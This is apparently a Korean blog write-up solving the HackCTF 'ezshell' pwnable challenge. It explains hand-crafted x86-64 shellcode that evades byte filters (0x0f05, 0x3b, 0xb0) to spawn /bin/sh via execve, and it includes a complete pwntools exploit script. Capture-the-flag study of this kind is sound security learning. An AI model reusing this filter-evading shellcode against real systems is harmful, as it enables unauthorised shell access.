일문제 풀이 환경 : ubuntu 18.04 |
shellcode랑 친하지 않은 나...
주어진 파일은 바이너리 파일과 c코드
Analysis
mitigation
풀렐로...
execution
null이요..?
code
쉘코드를 제작해야하는 문제..
저기 필터링이 보이는데 syscall을 의미하는 0f 05가 필터링 되어있다 ㅠ
3b는... 59번 execve 실행을 방지하는 걸로 보인다.
b0은 분석할때는 몰랐고 문제 풀때 알게 되었는데
이걸 뜻한다.
저 구문을 왜 사용했냐면 필터링된 3b를 우회하기 위해 al에 3a를 옮겨놓고 inc하려고 했다 ㅎㅎ;
아무튼.. 내가 shellcode를 작성하면 result에 내가 작성한 shellcode를 옮겨 붙이고 result+2부터 실행을 한다.
result를 살펴보면 맨 처음에 syscall을 의미하는 0f 05가 있다.
처음에 syscall이 필터링 된 것을 보고 어떻게 우회하지..? 라고 생각했는데 출제자 분이 써먹으라고 친절하게 주셨다.
shellcode에 레지스터를 맞춰놓는 셀코드를 넣어놓고 result의 syscall부분으로 jmp를 하면 될 것 같다.
아 참고로 result에 적혀있는 쉘코드는 아래와 같다.
rip레지스터 제외하고 초기화 시켜주네~
Exploit Scenario
Summary
- rsp 레지스터 조작
- execve('/bin/sh')를 실행시키는 것이 목표
- al 레지스터에 59 값 넣어주기
- '/bin/sh' 문자열 주소를 rdi 레지스터에 넣어주기
- syscall이 위치한 주소로 jmp ~~
shellcode = ''
shellcode += asm('mov rsp,QWORD PTR fs:[rax]')
shellcode += asm('mov cl, 58')
shellcode += asm('xchg al, cl')
shellcode += asm('inc rax')
shellcode += asm('movabs rbx,0x68732f2f6e69622f')
shellcode += asm('push rbx')
shellcode += asm('push rsp')
shellcode += asm('pop rdi')
shellcode += '\xE9\xB1\xFF\xFF\xFF'
In detail
rsp 레지스터를 조작(?)하는 이유?
저걸 안해주면 안된다. 아래처럼 펑~ 하고 터짐
RSP에 스택주소가 없어서 그렇다.
push 명령은 RSP를 이용한 명령이기 때문에... RSP에 스택 주소를 넣어주는 과정이 필요한데, 아래와 같이 하면 된다.
shellcode += asm('mov rsp,QWORD PTR fs:[rax]')
fs에서 0번째를 가져오면 되는데, 0을 넣으면 필터에 걸리니, 0의 값을 가지고 있는 rax를 넣었다.
mov al (\xb0) 우회 방법?
기본적으로 execve 를 실행시키려면 rax에 3b를 넣어줘야하는데, 3b는 필터링이 걸려있다.
그래서 al에 3a를 넣어주고, inc하려고 했다. (al에다가 넣어주는 이유는 글자 수 때문 ㅎ)
그런데 mov al도 필터링에 걸린다.
그래서 채택한 방법이, cl에 미리 넣어주고 xchg 명령으로 al 레지스터와 cl 레지스터 사이의 값을 교환해주는 방법을 채택했다. 이제 inc하면 59 세팅 완료 ~
shellcode += asm('mov cl, 58')
shellcode += asm('xchg al, cl')
shellcode += asm('inc rax')
rdi에 /bin/sh 주소 넣어주기
일단 rbx 레지스터에 /bin/sh 문자열을 넣어준다. 이거를 push하게 되면 rsp가 -4가 되면서 stack에 값이 들어가게 되고, rsp를 push하고 pop rdi하게 되면 rdi에 /bin/sh 문자열이 들어가게 된다.
(사실 이부분은 시중에 돌아다니는 쉘코드를 구해서 그대로 복붙했당 ㅎ)
shellcode += asm('movabs rbx,0x68732f2f6e69622f')
shellcode += asm('push rbx')
shellcode += asm('push rsp')
shellcode += asm('pop rdi')
jmp syscall~~~
jmp와 call를 잘 하시는가..
call : E8 + 4byte
jmp : E9 + 4byte
뒤의 저 4byte는 상대적인? 그런거다. 현지 명령어 위치로부터 jmp ~~~까지의 거리를 계산해서 다 다른 것!
blog.naver.com/yjw_sz/221571647852
위의 블로그 보고 계산했다.
그리고 얘는 asm으로 안하고 그냥 바로 쉘코드로 넣어줬는데, 그 이유는 그냥 asm로 하니까 터져서 그렇다;;
shellcode += '\xE9\xB1\xFF\xFF\xFF'
Exploit Code
from pwn import *
context(arch="amd64")
#p = process('./ezshell')
p = remote('ctf.j0n9hyun.xyz', 3036)
e = ELF('./ezshell')
shellcode = ''
shellcode += asm('mov rsp,QWORD PTR fs:[rax]')
shellcode += asm('mov cl, 58')
shellcode += asm('xchg al, cl')
shellcode += asm('inc rax')
shellcode += asm('movabs rbx,0x68732f2f6e69622f')
shellcode += asm('push rbx')
shellcode += asm('push rsp')
shellcode += asm('pop rdi')
shellcode += '\xE9\xB1\xFF\xFF\xFF'
#shellcode += asm('jmp 0xffffffffffffffb1', vma = 0x400000)
print len(shellcode)
shellcode += '\x90' * (30-len(shellcode))
pause()
p.send(shellcode)
#pause()
#p.send('AAAAAAAAAABBBBBBBBBBCCCCCCCCCC')
p.interactive()
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] wishlist 풀이 (64bit, uaf, stack pivoting) (0) | 2021.04.30 |
---|---|
[HackCTF : Pwnable] pzshell 풀이 (64bit, shellcode, shellcraft, orw, getdents) (0) | 2021.04.30 |
[HackCTF : Pwnable] World Best Encryption Tool 풀이 (64bit, leak) (0) | 2021.04.28 |
[HackCTF : Pwnable] adultfsb 풀이 (64bit, FSB) (0) | 2021.04.26 |
[HackCTF : Pwnable] childfsb 풀이 (64bit, FSB) (0) | 2021.04.26 |